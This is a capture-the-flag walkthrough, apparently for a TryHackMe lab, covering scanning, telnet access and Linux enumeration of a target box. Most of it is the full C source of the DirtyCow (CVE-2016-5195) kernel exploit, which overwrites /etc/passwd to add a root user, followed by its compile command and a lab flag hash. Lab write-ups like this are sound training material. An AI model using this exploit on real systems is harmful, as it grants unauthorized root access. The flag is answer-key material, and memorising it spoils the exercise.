Port Scanning

We will begin by scanning the machine. If you are working from the TryHackMe "Attackbox" or from a Kali Linux instance (or honestly, any Linux distribution where you have this installed), you can use **nmap** with syntax like so:

```
nmap 10.10.84.223
```

Initial Access

Connect to this service to see if you can make use of it. You can connect to the service with the standard command-line client, named after the name of the service, or **netcat** with syntax like this:

```
telnet 10.10.84.223 <PORT_FROM_NMAP_SCAN>
```

Enumeration

Looks like you can slide right down the chimney! Log in and take a look around, enumerate a bit. You can view files and folders in the current directory with **ls**, change directories with **cd** and view the contents of files with **cat**.

Often to enumerate you want to look at pertinent system information, like the version of the operating system or other release information. You can view some information with commands like this:

```
cat /etc/*release
uname -a
cat /etc/issue
```

There is a great list of commands you can run for enumeration here:
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

This is a very *old* version of Linux! This may be vulnerable to some kernel exploits, that we could use to escalate our privileges.

Take a look at the cookies and milk that the server owners left for you. You can do this with the **cat** command as mentioned earlier.

```
cat cookies_and_milk.txt
```

The perpetrator took half of the cookies and milk! Weirdly enough, that file looks like C code...

That C source code is a portion of a kernel exploit called **DirtyCow**. Dirty COW (CVE-2016-5195) is a privilege escalation vulnerability in the Linux Kernel, taking advantage of a race condition that was found in the way the Linux kernel's memory subsystem handled the copy-on-write (COW) breakage of private read-only memory mappings. An unprivileged local user could use this flaw to gain write access to otherwise read-only memory mappings and thus increase their privileges on the system.

You can learn more about the DirtyCow exploit online here: https://dirtycow.ninja/

This **cookies_and_milk.txt** file looks like a modified rendition of a DirtyCow exploit, usually written in C. Find a copy of that original file online, and get it on the target box. You can do this with some simple file transfer methods like netcat, or spinning up a quick Python HTTP server... or you can simply copy-and-paste it into a text editor on the box!

CODE:

```
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>

const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";

int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;
struct Userinfo {
   char *username;
   char *hash;
   int user_id;
   int group_id;
   char *info;
   char *home_dir;
   char *shell;
};

char *generate_password_hash(char *plaintext_pw) {
  return crypt(plaintext_pw, salt);
}

char *generate_passwd_line(struct Userinfo u) {
  const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
  int size = snprintf(NULL, 0, format, u.username, u.hash,
    u.user_id, u.group_id, u.info, u.home_dir, u.shell);
  char *ret = malloc(size + 1);
  sprintf(ret, format, u.username, u.hash, u.user_id,
    u.group_id, u.info, u.home_dir, u.shell);
  return ret;
}

void *madviseThread(void *arg) {
  int i, c = 0;
  for(i = 0; i < 200000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}

int copy_file(const char *from, const char *to) {
  // check if target file already exists
  if(access(to, F_OK) != -1) {
    printf("File %s already exists! Please delete it and run again\n",
      to);
    return -1;
  }

  char ch;
  FILE *source, *target;
  source = fopen(from, "r");
  if(source == NULL) {
    return -1;
  }
  target = fopen(to, "w");
  if(target == NULL) {
     fclose(source);
     return -1;
  }

  while((ch = fgetc(source)) != EOF) {
     fputc(ch, target);
   }

  printf("%s successfully backed up to %s\n",
    from, to);

  fclose(source);
  fclose(target);

  return 0;
}

int main(int argc, char *argv[])
{
  // backup file
  int ret = copy_file(filename, backup_filename);
  if (ret != 0) {
    exit(ret);
  }

  struct Userinfo user;
  // set values, change as needed
  user.username = "firefart";
  user.user_id = 0;
  user.group_id = 0;
  user.info = "pwned";
  user.home_dir = "/root";
  user.shell = "/bin/bash";

  char *plaintext_pw;

  if (argc >= 2) {
    plaintext_pw = argv[1];
    printf("Please enter the new password: %s\n", plaintext_pw);
  } else {
    plaintext_pw = getpass("Please enter the new password: ");
  }

  user.hash = generate_password_hash(plaintext_pw);
  char *complete_passwd_line = generate_passwd_line(user);
  printf("Complete line:\n%s\n", complete_passwd_line);

  f = open(filename, O_RDONLY);
  fstat(f, &st);
  map = mmap(NULL,
             st.st_size + sizeof(long),
             PROT_READ,
             MAP_PRIVATE,
             f,
             0);
  printf("mmap: %lx\n",(unsigned long)map);
  pid = fork();
  if(pid) {
    waitpid(pid, NULL, 0);
    int u, i, o, c = 0;
    int l=strlen(complete_passwd_line);
    for(i = 0; i < 10000/l; i++) {
      for(o = 0; o < l; o++) {
        for(u = 0; u < 10000; u++) {
          c += ptrace(PTRACE_POKETEXT,
                      pid,
                      map + o,
                      *((long*)(complete_passwd_line + o)));
        }
      }
    }
    printf("ptrace %d\n",c);
  }
  else {
    pthread_create(&pth,
                   NULL,
                   madviseThread,
                   NULL);
    ptrace(PTRACE_TRACEME);
    kill(getpid(), SIGSTOP);
    pthread_join(pth,NULL);
  }
```

```
  printf("Done! Check %s to see if the new user was created.\n", filename);
  printf("You can log in with the username '%s' and the password '%s'.\n\n",
    user.username, plaintext_pw);
    printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
    backup_filename, filename);
  return 0;
}
```

Enumeration resource and commands:
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

You can compile the C source code on the target with **gcc**. You might need to supply specific parameters or arguments to include different libraries, but thankfully, the DirtyCow source code will explain what syntax to use.

gcc -pthread dirty.c -o dirty -lcrypt

Privilege Escalation

Run the commands to compile the exploit, and run it.

Switch your user into that new user account, and hop over to the /root directory to own this server!

You can switch user accounts like so:

su firefart

Uh oh, looks like that perpetrator left a message! Follow his instructions to prove you really did leave Coal for Christmas!

After you leave behind the coal, you can run tree | md5sum

Flag: 8b16f00dd3b51efadb02c1df7f8427cc